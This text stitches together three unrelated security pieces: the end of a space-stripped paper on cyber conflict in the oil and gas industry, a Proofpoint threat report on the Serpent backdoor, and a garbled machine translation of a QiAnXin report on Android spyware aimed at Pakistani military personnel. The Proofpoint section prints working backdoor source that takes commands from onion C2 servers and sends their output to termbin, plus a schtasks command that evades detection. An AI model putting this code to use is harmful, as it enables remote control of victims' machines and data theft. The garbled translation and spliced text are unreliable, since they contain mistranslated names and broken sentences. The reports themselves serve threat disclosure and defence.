Russiahaslongseen(andcontinuestosee)Americanpower asadangerouscountertoitsown,markingtheUSasitstopglobalcompetitor.
TheGoMthenwouldproveveryattrac- tiveasitofferedatwo-foldbonus.
Acash-strappedUnitedStates,riddledbyitsownrecession,wouldbearthebruntof thecollateraldamageresultinginheavyfinestoBP,perhapsmadeheavierbecauseofthestateoftheAmericanecono- my.
Secondly,BPwouldpossiblyloseitsasset(s)andrighttodrilloffshoreintheGoM,aregionBPconsideredstrategic.
ItwouldallowforaninformationinfluenceoperationontheAmericanpublicpoisoningthemarketagainstBP,butalso potentiallyagainsttheAmericangovernmentiftheyrepeatedanymistakesintheirhandlingofanincidentlikethe2005 HurricaneKatrinarescueandreliefeffort.
Americain2008and2009wasalreadyfacinginternalcontentionoverdeepwaterdrillingpractices,meaning thatasignificanteventintheregioncouldperhapshaltproductionbygovernmentaldirective.
Evenwiththecontention, BPhadalreadymadehistoryintheGulfinmid-2009theDeepwaterHorizonrigfinisheddrillingthedeepestoilwellin historyintheTiberOilFieldoffthecoastofTexas.
ThismeantthatoneofthetopcompetitorsforRussianoilexportswas makingheadwayinthisregion.
Americaisalsothelargestimporterofoil,soeventhoughoilpricesareacomplicatedaf- fairthattakesintoaccountaspectsliketheeconomicstabilityofdifferentregionsandfutureprojectionsofdemand,any damagingeffectsonAmericanproductionorsupplycouldpotentiallyincreaseoilprices.
InMarchof2009,drillingofanewwell,Macondo,wasapprovedandscheduledtobeginlaterthatyear,creating 81 Ibid.,
p.87.
32 anidealtarget.
Realistically,inaclandestineprojectofsuchimportanceitislikelythatRussiawouldhaveidentifiedsev- eralGoMtargets,perhapsalongsideBPNorthSeaassetsaswell.
HavingtheGulfofMexicoinmind,Russianowneeded amethodfordelivery.
Analyzingthe2008incidentintheCaspianSeawhichwasstillfreshatthistime,itmayhavebeen notedthatoneoftherootcausesoftheblowoutwasaflawintheconcreteconcretepossiblyprovidedbythesame UScontractorwhoworkedforBPintheGoM:Halliburton.
Theymayhavealsosurmisedthatifthealarmsandsafety systemshadnotactivatedintheCaspianSeaincident,thecrewmaynothavebeencapableofreactingquicklyenoughto preventanexplosion,thuscreatingaterribleecologicaldisasterandcausinglossoflife.
So,aworkableoptionappearedtobeacovertcyber-attackonrigsoperatinginthegulfwhichdisabledsafety measuresorcreatedasituationwhereablowoutwouldoccur.
Ifdonecorrectly,theycouldeasilyhideanyattribution behindChina(whohadbeenactivelystealingsecretsfromoilcompaniesatthistime),anon-statehackinggroup,aspo- radicvirus,ormerelyaglitch/accident.
BecauseofthehighstakesinvolvedinanyattributiontoRussia,thebestoption wouldbemakingitpurelyappeartobeanaccidentorneglectbyBPanditscontractors.
Thiscouldbeachievedbyplay- ingonknownpatternsandbehaviorsbyBPthatwererisky.
ThetypeofintelligenceRussiawouldhavebeenintimately familiarwiththroughtheirowndealingswithBPandanalysisofotherBPsafetyincidentintherecentpast.
Thisblends seamlesslywiththeRussianconceptofReflexiveControl.
TimothyThomaspointsoutinhisbookentitledRecastingtheRedStartheconceptofreflexivecontrolas Timothyputsit:Reflexivecontrolisdefinedasameansofconveyingtoapartneroranopponentspeciallyprepared informationtoinclinehimtovoluntarilymakethepredetermineddecisiondesiredbytheinitiatoroftheaction.82 Purposefullysettingfalsealarmsoffintheearlyhoursofthemorningsothatsomeonewilldisablethemwouldbea goodexampleofthis.
RussianhackerssuchastheGLEGgrouphavedemonstratedproficiencyinfindingexploitsinICS softwarebyreleasingtheAgoraSCADAexploitkitwhichhadaplethoraofzero-dayexploitsinit.83Thisdemonstrative proficiency,combinedwiththepreviouslynoted2009MarioAzarincidentwouldsuggestthatthetechnicalcapabilityto setthisinmotionwasreadilyavailable.
AfteridentifyingseveraltargetsintheGoM,Russianoperatorscouldeasilyhave exploitedamultitudeofattackvectors.
Employeespersonalsystems(whichcouldhaveVPNaccesstoonshorecontrol stationsortherigdirectly),mobiledeviceslikesmart-phones,portablestoragedevicessuchasusbdrives,engineer laptops,oranonshorecontrolcenterwithaccesstotherigscouldhavebeenleveragedtogainaccess.
Suchattackscould betriviallydoneevenwithopen-sourceorfreetoolssuchastheiconicMetasploitFramework.
Metasploitscustompay- load,Meterpreter,forexampleiscapableofresidingpurelyinvolatilememory,oftenleavingfewresidualtracesonper- sistentstorage,ifany.
Afteridentifyinganentrypointsuchassocialengineering(perhapstoohighprofile)ormorelikely exploitation,Russianoperativescouldfindaseriesofserversattheonshorecontrolcenterwithalongup-timeorthat werenotregularlyupdated(andthereforenotregularlyrestarted).Theattackerscouldhaveleveragedthesetocreate redundantavenuesofaccesswhichrunentirelyinvolatilememory,thusleavingminimaltonopermanenttraces.
More likelyandstablehoweverwouldbetheuseofsuchexploitationtoinstallapersistentbackdoor.
Fromheretheycould havestolencredentialsorotherwiseescalatedprivilegestogainaccesstothesafetysystemsontheDeepwaterHorizon andotherrigsoperatinginthearea.
Itislikelythatthesameattackvectorwouldnothavebeenusedineveryinstanceto obscureanypatternanalysisanddiversifyopportunitiesforsuccess.
Atthispointsettingoffalarmsintheearlyhoursto encourageemployeestodisablethem,impairingothersafetysystemsandcausinggeneralinstabilitywouldhavebeen enoughtosubtlymagnifytheeffectsbeyondamanageablelevelresultingincatastrophe.
Afterhavingdiscussedinsomedetailthepossibilityofastateactorsinvolvement,itmustequallybeconsidered thatthereisalsoplentyofevidencesuggestingthatthiswasnothingmorethanatragicincident.
Itmayalsobestated thatthereisevidencecontrarytotheposedscenario.
TheDeepwaterhorizonincidentandthe2008CaspianSeaincident beforeitweremerelytwoincidentsinanindustryfraughtwithothers.
Additionally,twoincidentsregardlessofsimi- larityarenotconclusiveenoughtorepresentapattern.
Shouldtheybeapartofalargerpattern,itisfarmorelikely thattheseparticularincidentspointedtoapatternofcorporateneglectthananythingelse.
Theinherentlydangerous natureofoilrefineryworkwouldimplythataccidentsandlossoflifeareanunfortunaterealityoftheindustry.
Accord- ingtotheCentersforDiseaseControlandPrevention,ThefatalityrateforoilandgasworkersintheU.S.between2002 and2007wasmorethan29deathsper100,000workers,oraboutseventimestheaverageforalloccupations.84BPis nostrangertosuchhazards.
DeepwaterHorizon,thoughperhapstheirworsttodate,wasnottheirfirstprolificdisaster.
BPwasrequiredtopay1.6billiondollarsinvictimcompensationfortheTexasCityrefineryexplosionfromMarch23, 2005.Theywerealsorequiredtopay50.6milliondollarsinfinesforfailingtofixthesafetyviolationsthatwerebrought 82 Recasting the Red Star 83 https://ics-cert.us-cert.gov/pdf/ICSA-11-096-01.pdf 84 Centers for Disease Control.
(
2013, March, 3).
Retrieved from http://www.cdc.gov/niosh/programs/oil- gas/risks.html 33 tothembyOSHAbeforetheexplosion.85ThesesamecorporatefailingswerepresentintheDeepwaterHorizonincident andwerebroughtupduringthesenatehearings.
Thisinpartservestohighlightthefactthateveniftheincidentwereto beastate-sponsoredattack,theimpactofthelossofasinglerigorsmallwellisrelativelyinconsequentialtotheoverall oilproductionofthevictim.
ThetimelineoftheDeepwaterHorizonincidentalsospeaksvolumestheincidenttook placeoverthecourseofatleastayearandwastheproductofmanybudget-savingdecisionsthatwereacknowledged tobedangerousbytheengineerswhowereworkingontheMacondowelldrillingeffort.
Thesemeasuresandaculture ofriskarelikelywhatultimatelysealedthefateoftheDeepwaterHorizon.
Theseoccurrencesaretoointricatewhilst spreadoversuchanextendedperiodoftimeforanyoneentitytohavereasonablycontrolledthemall.
Itiswithinhumannaturetolookforapatternordesignforaneventevenwhenthereisntanythiscanbeaug- mentedbytimeasmorepossiblecluesbecomeapparent.
Forthisreasonsuchattributionwhichseeksoutaconclu- sionisaslipperyslopeandmustbeapproachedwithcautionithasatendencytoenticeanalyststofindfactstofitthe hypothesisasopposedtoahypothesiswhichfitsthefacts.
Itsimportanttorememberthatcorrelationdoesnotequal causationinfactcorrelationmaybecoincidentalortheresultofanotherunanticipatedfactor.
Likewisethecircumstan- tialevidencealoneisnotconclusive.
Between1969and2005therehavebeenover30separateincidentsonoilrigs rangingfromfiresandexplosions,tostructuralfailures,someofwhichwereblowoutsnotunliketheonethatoccurred onDeepwaterHorizon.
Itislikelythatcircumstantialinformationaboutoneormoreofthesecouldbestrungtogetherto provideareasonablyconvincingpoliticalattribution.
Regardlessoftheattributionorrefutationofanattack,thetakeawayfromtheDeepwaterHorizonanalysisisthat theoilindustryisundeniablytiedtothecyberdomainandanattackonthissectorisconceivablethatbyusingcurrently availablecybermeansakinetic,violent,andinstrumentaloutcomecouldverypossiblybeaffectedonaprivatesectorby aforeignstateactororotherhuman-basedagenttogainafavorableoutcome.
85 BBC News, BP agrees to pay record 50.6m fine for Texas explosion.
(
2010, August, 12) http://www.bbc.
co.uk/news/business-10960486 34 Conclusion Theobservationofamoderatelysizedcross-sectionofcybereventswithintheoilandgasindustryclearly indicatesthatthereisongoingcyberconflict.
Thisconflictexistsintheformofespionageandsabotage,anditinvolves bothstateandnon-stateactors.
Inthecaseofcyberespionage,theseactorsareadvancedinthesensethattheyhave launchedmulti-yearcampaignswhichhavegoneundetectedastheyhaveexflitratedwhatislikelyuntoldbillionsofdol- larsinintellectualproperty.
Theretacticsrepresentaformalizationandritualizationoftheconflictwhichwillsuggests thatithasbeenweaponizedandwillcontinuetoescalateinthefuture.
TheChinesegovernmentisabsolutelyinvolved insomecapacity,andstandstogainthemostoutifthesetransactions.
Chinawillneedtocontinuetomakeaggressive movestosustainitsneedforoilgoingforwardasitsabilitytomeetgrowingdemandbecomesoverwhelmed.
RedOcto- ber,whilelargelytargetedatdiplomaticentities,alsotargetedtheoilandgasindustry.
Thesophisticationoftheinfra- structureusedinRedOctober,aswellasthemethods,suggestarevolutioninthetypeofcyberconflictthatwillbeseen intheoilandgasindustry.
AmajorityofthesegroupsarestillactiveasofApril2013,evenafterbeingoutedinreports releasedbyantivirusandincidentresponsecompaniesoverthelastfewyears.
Thesereportsthemselvesrepresentone aspectinwhichnon-stateactorswillbecomeevermoreimportantincyberconflict,particularlywithinimportantindus- triessuchasoilandgas.
Americancompaniesareparticularlyvulnerabletargetstostate-backedorstate-ownedforeign competitorswhomayinthefutureleveragetheircountriescyberforcestogaincompetitiveadvantage,orpossible developtheirown.
ThistypeofcompetitivenessmayleadtothetypesofsabotageexchangesseenintheMiddleEast.
Theseattacks mayeitherhavebeentheworkofnation-statesbattlingoutpolicyinthecyberrealm,orunconnectedeventswiththe Shamoonattacksmerelybeingadisaffectedhacktivistgroupexpressingdissent.
Regardlessoforigin,theseexchanges areclearexamplesofcyberconflictofadestructivenature.
Goingforward,thesophisticationofthevirusesusedinthese attackswilllikelyonlyincrease.
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AttacksliketheflameandStuxnetvirusesmaybeseenbyAmericancompanieswithin theindustry.
Thelinebetweenespionageandsabotageattackscanbesomewhatblurredwithvirusesbeingmodularand havingthecapabilitytoperformbothgatheringintelwhilewaitingundetectedtounleashamoresinistercapability.
The veryuseofthesetypesofmalwarebreedsandintimacyandfamiliaritywiththemthatallowsfortheirfurtherprolifera- tionbythepartieswhowerepreviouslyattacked.
Eveniftheycannotreverseengineerthem,theymayunderstandthe behaviorswellenoughtocrudelymimicthem.
Asdiscussedatthebeginningofthepaper,cyberconflictisattractive.
Itisattractivetocriminalelements,corpo- rateelements,individuals,hacktivists,stateactors,andothersundrynon-stateactorsalike.
Becauseofitslowbarrierto entry,availability,andoutsizedimpact,theoilindustrymustprepareforsustainedfutureconflictinthisrealm.
35 Appendix A - Definitions Advanced Persistent Threat:Anadvancedpersistentthreat(APT)usesmultiplephasestobreakintoanetwork,avoid detection,andharvestvaluableinformationoverthelongterm.
ThesephasesareIncursion,Discovery,Capture,and ExfiltrationaccordingtoSymantec.86 Anonymous:Adecentralizedgroupofindividualswholabelthemselvesashactivists.
Theindividualsareanon-state sponsoredgroup.
Thegroupfrequentlypickstheirtargetsbasedoncurrenteventsordecisionsofcompaniesthatcon- flictwithaneverchangingmantraofthegroup.
TheattacksperpetratedbyAnonymousarefrequentlynotcomplexin natureandoftenaredesignedjusttorestrictaccesstopublicwebsitesthroughadenialofserviceattack.
C2: Command and Control Cyber Warfare:Actionsbyanation-statetopenetrateanothernationscomputersornetworksforthepurposesofcaus- ingdamageordisruption.87 Dropper virus:AtypeofTrojanthatservestotransportandextractaviralpayloadontothedestinationsystem.
The dropperisfrequentlymadetomasqueradeasaninnocuousexecutablethatonceexecutedtheviralpayloadhasbeen deployed.
Thedropperserviceatthispointnolongerneedstoberunning.88 Exfiltration:Theoppositeofinfiltrate.
Theactofsecretlystealinginformationfromtheenemyscontrol.
Itisaformof espionage.
Malware:Agenerictermusedtodescribesoftwaredesignedtocausemaliciousactionsonacomputersystem.
Trojans, Viruses,andWormsareexamplesoftypesofMalware.
Reflexive control:Ameansofconveyingtoapartneroranopponentspeciallypreparedinformationtoinclinehimto voluntarilymakethepredetermineddecisiondesiredbytheinitiatoroftheaction.89 SCADA:Supervisorycontrolanddataacquisitionareatypeofindustrialcontrolsystemusuallydeployedtomonitor systemsoverlongdistances.
Spear phishing:Theprocessofattempting,oftenthroughemail,toacquiresomeoneelsesuserinformation.
Thisis achievedthroughsocialengineeringandofteninvolvessendingemailsthatappeartobefromaknownandtrustedindi- vidual.
Trojan:Atypeofcomputermalwarethatdoesnotreplicate,ratheritsprimaryfunctionistoallowunauthorizedaccess tothecomputersystems,stealinformation,orcauseharmtotheinfectedsystem.
ATrojanoftenpresentsitselfasan innocuousfilethustrickingtheuserintoexecuting.
Virus:Atypeofcomputermalwarethatisabletoself-replicateandinfectmultiplesystems.
Thereplicationisusually tiedtoahumaninteraction.
86 http://www.symantec.com/theme.jsp?themeidapt-infographic-1 87 Clarke,RAandKnake,RK(2010).CyberWar, the next threat to national security and what to do about it.
New York:Ecco/HarperCollins.
88 Symantec.
(
2012, April 26).
Trojan.
Dropper.
Retrieved March 9, 2013, from Symantec: http://www.sy- mantec.com/security_response/writeup.jsp?docid2002-082718-3007-99 89 Thomas, T. (2011).
Recasting the Red Star.
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1/10 March 18, 2022 Serpent, No Swiping New Backdoor Targets French Entities with Unique Attack Chain proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain Key Findings Proofpoint identified a targeted attack leveraging an open-source package installer Chocolatey to deliver a backdoor.
The attack targeted French entities in the construction, real estate, and government industries.
The attacker used a resume themed subject and lure purporting to be GDPR information.
The attacker used steganography, including a cartoon image, to download and install the Serpent backdoor.
The attacker also demonstrated a novel detection bypass technique using a Scheduled Task.
Objectives are currently unknown however based on the tactics and targeting observed it is likely an advanced, targeted threat.
Overview Proofpoint observed new, targeted activity impacting French entities in the construction and government sectors.
The threat actor used macro-enabled Microsoft Word documents to distribute the Chocolatey installer package, an open-source package installer.
Various parts of the VBA macro include the following ASCII art and depict a snake as below.
The threat actor attempted to install a backdoor on a potential victims device, which could enable remote administration, command and control (C2), data theft, or deliver other additional payloads.
Proofpoint refers to this backdoor as Serpent.
The ultimate objective of https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain 2/10 the threat actor is currently unknown.
Campaign Details In the observed campaign, messages are in French and purport to be, for example: From: Jeanne jeanne.vrakelegmail[.
]com Subject Candidature - Jeanne Vrakele The messages contain a macro-enabled Microsoft Word document masquerading as information relating to the rglement gnral sur la protection des donnes (RGPD) or the European Unions General Data Protection Regulations (GDPR).
Figure 1: GDPR themed lure.
When macros are enabled, the document executes that macro, which reaches out to an image URL, e.g., https://www.fhccu[.]com/images/ship3[.
]jpg, containing a base64 encoded PowerShell script hidden in the image using steganography.
The PowerShell script first downloads, installs, and updates the Chocolatey installer package and repository script.
Chocolatey is a software management automation tool for Windows that wraps installers, executables, zips, and scripts into compiled packages, similar to Homebrew for OSX.
The software provides both open-source and paid versions with various levels of functionality.
Proofpoint has not previously observed a threat actor use Chocolatey in campaigns.
https://chocolatey.org/install.ps1 3/10 The script then uses Chocolatey to install Python, including the pip Python package installer, which it then uses to install various dependencies including PySocks, a Python based reverse proxy client that enables users to send traffic through SOCKS and HTTP proxy servers.
Next, the script fetches another image file, e.g.
https://www.fhccu[.]com/images/7[.
]jpg, which contains a base64 encoded Python script also hidden using steganography, and saves the Python script as MicrosoftSecurityUpdate.py.
The script then creates and executes a .bat file that in turn executes the Python script.
The attack chain ends with a command to a shortened URL which redirects to the Microsoft Office help website.
Figure 2: Swiper image with base64 encoded PowerShell script to download and install Chocolatey and Python and fetch another steganographic image.
The Python script (the Serpent backdoor) is as follows: https://pypi.org/project/pip/ https://pypi.org/project/PySocks/ 4/10 /usr/bin/python3 from subprocess import Popen, PIPE, STDOUT import requests import re import socket import time cmd_url_order http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd.onion.pet/index.html cmd_url_answer http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid.onion.pet/index.html hostname socket.gethostname() hostname_pattern host:s-00 hostname headers referer Referer: hostname_pattern cache_control Cache-Control: no-cache headers.update(referer) headers.update(cache_control) check_cmd_1 def recvall(sock, n): data b while len(data) n: packet sock.recv(n - len(data)) if not packet: return None data packet return data def get_cmd(): req requests.get(cmd_url_order, headersheaders).content.decode().strip() if req : pass else: return req def run_cmd(cmd): cmd_split cmd.split(--) if cmd_split[1] hostname: cmd cmd_split[2] print(cmd) run Popen(cmd, shellTrue, stdinPIPE, stdoutPIPE, stderrSTDOUT).decode() out run.stdout.read() 5/10 if not out: out bok termbin_cnx socks.socksocket() termbin_cnx socket.socket(socket.
AF_INET, socket.
SOCK_STREAM) socks.setdefaultproxy(socks.
PROXY_TYPE_SOCKS5, 172.17.0.1, 9050, True) termbin_cnx.connect((termbin.com, 9999)) termbin_cnx.send(out) recv termbin_cnx.recv(100000) termbin_url_created recv.decode().rstrip(\x00).strip() print(termbin_url_created) termbin_header Referer: hostname_pattern -- termbin_url_created headers.update(termbin_header) try: push requests.get(cmd_url_answer, headersheaders) print(executed) headers.update(referer) except Exception as e: print(e) pass else: print(not for me) while True: time.sleep(10) try: check_cmd get_cmd() if check_cmd check_cmd_1: time.sleep(20) print(check_cmd) run_cmd(check_cmd) check_cmd_1 check_cmd pass except Exception as e: print(e) pass This Serpent backdoor periodically pings the order server (the first onion[.
]pet URL) and expects responses of the form random integer--hostname--command.
If hostname matches the hostname of the infected computer, the infected host runs the command provided by the order server (command), which could be any Windows command as designated by the attacker, and records the output.
The malware then uses PySocks to connect to the command line pastebin tool Termbin, pastes the output to a bin, and receives the bins unique URL.
Finally, the malware sends a request to the answer server (the second onion[.
]pet 6/10 URL), including the hostname and bin URL in the header.
This allows the attacker to monitor the bin outputs via the answer URL and see what the infected hosts response was.
The malware cycles through this process indefinitely.
Figure 3: Serpent backdoor attack chain.
Both steganographic images are hosted on what appears to be a Jamaican credit union website.
7/10 Figure 4: Image with base64 encoded Python script.
The threat actor uses a Tor proxy for command and control (C2) infrastructure, for example: http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd[.]onion[.
]pet/index.html Additional Tooling In addition to the images used in this attack chain Proofpoint researchers have observed and identified additional payloads being served from the same host.
One of particular interest is utilizing what Proofpoint believes to be a novel application of signed binary proxy execution using schtasks.exe.
Notably, this is an attempt to bypass detection by defensive measures.
This command is contained within a similar Swiper image called ship.jpg after the end of file marker.
schtasks.exe /CREATE /SC ONEVENT /EC application /mo [System/EventID777] /f /TN run /TR calc.exe EVENTCREATE /ID 777 /L APPLICATION /T INFORMATION /SO DummyEvent /D Initiatescheduled task.
schtasks.exe /DELETE /TN run /f The above command leverages schtasks.exe to create a one-time task to call a portable executable.
In this case the executable is called calc.exe.
The trigger for this task is contingent on the creation of a Windows event with EventID of 777.
The command then creates a dummy event to trigger the task and deletes the task from the task scheduler.
This peculiar application of tasking logic results in the portable executable being executed as a child process of taskhostsw.exe which is a signed Windows binary.
Threat Assessment 8/10 The threat actor leveraged multiple unique behaviors and targeting suggesting this is likely an advanced, targeted threat.
Leveraging Chocolatey as an initial payload may allow the threat actor to bypass threat detection mechanisms because it is a legitimate software package and would not immediately be identified as malicious.
The follow-on use of legitimate Python tools observed in network traffic may also not be flagged or identified as malicious.
The use of steganography in the macro and follow-on payloads is unique Proofpoint rarely observes the use of steganography in campaigns.
Additionally, the technique using schtasks.exe to execute any desired portable executable file is also unique and previously unobserved by Proofpoint threat researchers.
Proofpoint does not associate this threat with a known actor or group.
The ultimate objectives of the threat actor are presently unknown.
Successful compromise would enable a threat actor to conduct a variety of activities, including stealing information, obtaining control of an infected host, or installing additional payloads.
A Note on Highly Targeted Threats Proofpoint has a vast amount of organic threat data to pour over every day.
This presents unique challenges when trying to surface interesting threats.
The aforementioned campaign and the threats contained within were surfaced using Proofpoints machine learning-enabled Campaign Discovery tool.
This tool uses a custom-built deep neural network model to generate useful numeric encodings of threats based on their behavioral forensics.
These encodings are then used to generate clusters of similar threats.
This allows Proofpoints threat researchers to identify campaigns, including the shared infrastructure, TTPs, and indicators of compromise that define them more easily.
By clustering together threats that are alike, the tool also facilitates the discovery of anomalous or unusual threats that are not similar to any other observed threats.
We lovingly refer to this tool as Camp Disco and it sports themed ascii art like all sweet tools should.
9/10 Indicators of Compromise Indicator Description https://www[.]fhccu[.]com/images/ship3[.
]jpg Encoded Payload URL https://www[.]fhccu[.]com/images/7[.
]jpg Encoded Payload URL http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid [.]onion[.]pet/index[.
]html C2 10/10 Proofpoint detects and blocks all documents associated with the campaigns and has published the following Emerging Threat signatures: 2035303 - ET INFO Observed Chocolatey Windows Package Management Domain (chocolatey .org in TLS SNI) 2035306 - ET INFO Chocolatey Windows Package Management Installation File Retrieval 2851286 - ETPRO MALWARE Malicious Script Retrieved via Image Request http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd [.]onion[.]pet/index[.
]html C2 http://shorturl[.
]at/qzES8 ShortURL jeanne.vrakelegmail[.
]com Sender Email jean.dupontelprotonmail[.
]com Sender Email no-replydgfip-nanterre[.
]com Sender Email f988e252551fe83b5fc3749e1d844c31fad60be0c25e546c80dbb9923e03eaf2 Docm SHA256 ec8c8c44eae3360be03e88a4bc7bb03f3de8d0a298bff7250941776fcea9faab Docm SHA256 8912f7255b8f091e90083e584709cf0c69a9b55e09587f5927c9ac39447d6a19 Docm SHA256
1/11 VajraEleph from South Asia - Cyber espionage against Pakistani military personnel revealed mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww Original QAX Virus Response Centre Qi Anxin Virus Response Center 2022-03-30 12:00 1.
Summary of the event In February 2022 , the mobile security team of Qianxin Virus Response Center noticed that since June 2021 , an A _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ P T organization mainly targets PakistanThe Tanzanian military has launched organized , planned and targeted military espionage intelligence activities .
_
After just nine months of attacks , the group has affected dozens of Pakistani military personnel .
_
This part of the victimThe personnel are mainly Pakistani national border guards ( FC ) and special forces ( SSG ) , especially the Balochistan border guards ( FCBLN ) in addition _ _ _ _ Also contains a small amount of FBI ( FIA ) and police ( Police ) .
_ _ _ _ _ _ _
Another attack also affected a small number of Nepalese personnel , but domestic users in China were not affected by it .
Figure 1.1 Distribution of affected countries _ _ _ _ _ The organization usually uses public social platforms to find the target of concern , and combines pornographic words and other chats to induce the target users to install the specified bait chat attack application .
Used for phishing attacks .
Furthermore ,The attacker also published the malicious chat application on a well- known foreign app store platform , but the relevant links are now inaccessible .
As of the time of this report , all the attacks of this group that we have intercepted are carried out through the An d r oi d platform , and we have not found any Via the Windows platform _ _ _ _ _attack .
_ _
A total of 8 malicious application download servers have been captured , and at least 5 different Android platform attack samples can be downloaded on the servers .
_ _
All samples were _ _Dedicated chat software for Italian codes .
We name all these captured malicious samples V a j r a Sp y .
_ _ _ _
Comprehensive analysis of the attack activity characteristics , sample coding method , C2 server architecture and other clues shows that the organization has a regional power in South Asia .
the background of the government , but also live with the regionOther APT tissues that jumped , such as Sidewinder Sidewinder , Manling Flower Bitter , Belly Brainworm Donot , etc.
,
were not significantly associated _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ ( Only with bellyworm D o no o t _ _There is a small amount of similarity ) , with strong independence and independent characteristics .
Therefore , we identified this organization as a new APT organization active in South Asia .
_ _
We named it King Kong Elephant , English _The document name is V a j r a E l e ph , and the organization number is A P T - Q - 4 3 .
King Kong Elephant is the 15th APT organization that Qi Anxin independently discovered and first disclosed .
_ _ _
2.
Load delivery _ Through the Qi Anxin Virus Response Center mobile security team and the Qi Anxin threat intelligence platform ( h t t p s : / / t i .
q i a n x i n .
c o m / ) joint tracking analysis found that , the earliest activities of the King Kong Elephant Organization can be traced back to June 2021 .
The picture below shows the earliest payload server information of the organization that we intercepted .
https://mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww javascript:void(0) 2/11 Figure 2.1 Screenshot of the earliest domain name payload server discovered ( using Name Sil o registrar domain name ) _ _ _ _ _ _ In the early attacks of this group , the short link of the download address of the attack payload is usually sent to the target through social software such as WhatsApp .
.
Later , with the major socialTaiwan banned related links , and the organization switched to delivering short links to target people in the form of pictures .
payload short chain address Corresponding to the actual download address h t t p s : / / c u t t .
ly / q I r g C K o _ h t t p s : / / a p p z .
l i v e / i c h f g h b t t / c r a z y .
a p k h t t p s : / / b i t .
ly / 3 B r C x N U _ h t t p s : / / a p p z s h a r e .
d i g i t a l / c o u f g t d j v i / Z o n g C h a t ( B e t a ) .
a p k h t t p s : / / b i t .
ly / 3 9 r o C M d _ h t t p s : / / a p z s h a r e .
c l u b / p o a h b c y s k d h / c a b l e .
a p k h t t p s : / / r e b r a n d .
l y / C a b l e _ v 2 h t t p s : / / a p p z s h a r e .
c l u b / p o a h b c y s k d h / c a b l e .
a p k Table 1 Discovered short chains of payload delivery and their corresponding actual download addresses _ The load name servers used by this organization are all registered for less than a year , and the registrars are mainly Name Sil o and Name Cheap .
_ _ _ _ _ _ _
This is in line with another recent activity in South AsiaThe activity of the advanced attack group , the brainworm , is similar .
3/11 Figure 2.
2 part of the domain name payload server who is the situation 3.
Attack target _ The King Kong Elephant Group has obvious intentions to steal military intelligence , mainly targeting Pakistani military personnel , affecting dozens of military personnel who have been involved in several units .
Here s what we get from attacker C 2The photos and information of some victims mobile phones were intercepted on the server .
Figure 3.1 Stolen photos of Pakistan Frontier Guard ( FC , F ro n ti e r C o r p s ) personnel _ _ _ 4/11 Figure 3.2 Stolen photos of Pakistani Balochistan Border Guard ( FC B L N , FC Balochistan ) personnel _ _ _ _ _ _ _ _ _ _ _ _ _ Figure 3.3 Information stolen from Balochistan border guards _ _ 5/11 Figure 3.4 Stolen photos of Pakistani special forces _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ Figure 3.5 Stolen photos of Pakistani police _ 6/11 Figure 3.6 Pakistani Police Stolen Information _ _ 7/11 Figure 3.7 Pakistani Federal Bureau of Investigation ( FIA , FederalInvestigationAgency ) personnel were stolen photos _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ piece Figure 3.8 Stolen Information on the Chief of Staff of the Army _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 4.
Technical Analysis _ Through analysis , it is found that the attack RA T invested by the King Kong Elephant Organization is currently targeting the Android platform .
_
Analysis shows that the organization has a high degree of R A T customization , and weNamed V a j r a Sp y .
_ _
V a j r a Spy supports all the classic functions of espionage and stores the stolen data in a designated Google cloud storage space .
_ _ _ _ _ _
function Corresponding post - stealing data storage file name steal call logs l o g s .
j s o n steal address book c o n t a c t s .
j s o n Steal SMS s m s .
j s o n Steal 1 5 types of files in the specified directory of the SD card file / filename _ _ _ _ _ Steal notification bar information n o t i / 1 3 -bit timestamp .
j s o n Steal device information d e v i c e .
j s o n Steal installed application information _ _ _ a p p d e t a i l s .
j s o n Stealing three versions of WhatsApp information _ _ _ _ _ _ _ w a .
j s o n / w a b .
j s o n / w a b s .
j s o n Table 2 V a j r a S p y R A T main stealing functions _ _ 8/11 Figure 4.1 15 types of files ( text , pictures , audio ) related code snippets stolen _ _ _ _ 5.
Attacker portrait _ _ 1 ) The purpose of the attack Attackers targeted Pakistani military , security and police personnel , including border guards ( FC ) , special forces ( SSG ) , federal investigators _ _ _ _ _ _ Bureau ( FIA ) and Police ( P _ _o l ic e ) and so on .
Among them , the border guards are the main target .
9/11 There are also a small number of activities targeting Nepalese military personnel .
It can be seen from this that military personnel and military secrets are thethe main purpose of the activity .
2 ) Attack method Attackers are good at using social induced delivery and SMS induced delivery to attack , among which social induced delivery is the main method .
3 ) Network assets The mobile phone numbers used by the attackers are all exclusive numbers of mobile service providers in a country in South Asia .
4 ) Native language features The attackers used a large number of languages from a South Asian country in their attacks .
The country has a longstanding military and geopolitical conflict with Pakistan .
_ _
5 ) Association with other APT organizations _ _ _ The activity characteristics of the malicious sample download server are similar to those of the belly worm ( Donot ) .
_ _ _
Some of the filenames used in the attack have certain similarities to the bellyworm tissue .
_ _
To sum up , the King Kong Elephant Organization should be a senior executive with a government background in a South Asian country who mainly launched cyber attacks against Pakistani military personnel and military activities .
attack group , is an active _New APT organization in South Asia .
_ _ _
6.
Summary and Recommendations _ In traditional APT activities , the use of mobile social platforms is not common .
_ _
This is because most of the sensitive and confidential information is stored on the computer , and on the other hand , it is also caused byBecause of launching attacks through social platforms , it is easy to leave traces .
However , in the past two years , with the increasing popularity of mobile social platforms , we have found that many A P T activities targeting developing countries will be more or less Via mobile platforms , social platformsto proceed .
For example , the Nuo Chong Lion Organization , the Blade Eagle Organization and the Diamond Elephant Organization disclosed this time all target the An d r oi d platform and _ _ _ _ _ network of social platformsattack activity .
